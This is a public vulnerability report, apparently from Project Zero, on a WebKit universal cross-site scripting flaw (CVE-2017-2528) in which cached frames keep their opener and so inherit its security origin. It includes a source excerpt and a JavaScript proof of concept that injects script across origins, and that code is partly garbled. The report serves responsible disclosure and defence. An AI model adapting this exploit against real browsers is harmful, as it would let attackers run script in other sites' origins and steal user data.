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Status: Fixed
Closed: May 2017

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Issue 1176: WebKit: UXSS: CachedFrame doesn't detach openers

Reported by, Mar 10 2017 Project Member

Issue description

When a document loads "about:blank" or "about:srcdoc", it tries to inherit the security origin from its parent frame, or its opener frame if the parent frame doesn't exist. Normally, it doesn't happen that a subframe's document inherits its opener frame's security origin, because it has the parent frame. And it shouldn't happen at all. However, when the subframe is cached, only the parent frame is detached but not the opener frame. So, inheriting the opener frame's security origin could happen in that case.

void Document::initSecurityContext()
    if (!shouldInheritSecurityOriginFromOwner(m_url)) <<----- check m_url is about:blank or about:srcdoc.

    // If we do not obtain a meaningful origin from the URL, then we try to
    // find one via the frame hierarchy.
    Frame* parentFrame = m_frame->tree().parent();
    Frame* openerFrame = m_frame->loader().opener();

    Frame* ownerFrame = parentFrame;
    if (!ownerFrame)
        ownerFrame = openerFrame;

    if (!ownerFrame) {

    // We alias the SecurityOrigins to match Firefox, see Bug 15313

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window.onclick = () => {
    window.onclick = null;

    let w = open('about:blank', '', 'width=500, height=500');
let f = document.body.appendChild(document.createElement('iframe')); = 'zzz';'about:blank', 'zzz');

function navigate(w, url, cb = null) {
    w.__check = true;

    let a = w.document.createElement('a');
    a.href = url;;

    if (!cb)

    let it = setInterval(() => {
        let navigated = false;
        try {
            if (!w.__check)
                navigated = true;
        } catch (e) {
            navigated = true;

        if (navigated) {
    }, 10);

navigate(opener, '', () => {
    f.srcdoc = '<script>opener.alert(opener.location);</scrip' + 't>';
    f.contentWindow.onbeforeunload = () => {
        f.contentWindow.onbeforeunload = null;

        navigate(window, 'about:blank');

    navigate(f.contentWindow, 'about:srcdoc');


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Comment 1 by, Mar 10 2017

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Comment 2 by, May 24 2017

Project Member
Labels: CVE-2017-2528
Status: Fixed (was: New)

Comment 3 by, May 31 2017

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Labels: -Restrict-View-Commit

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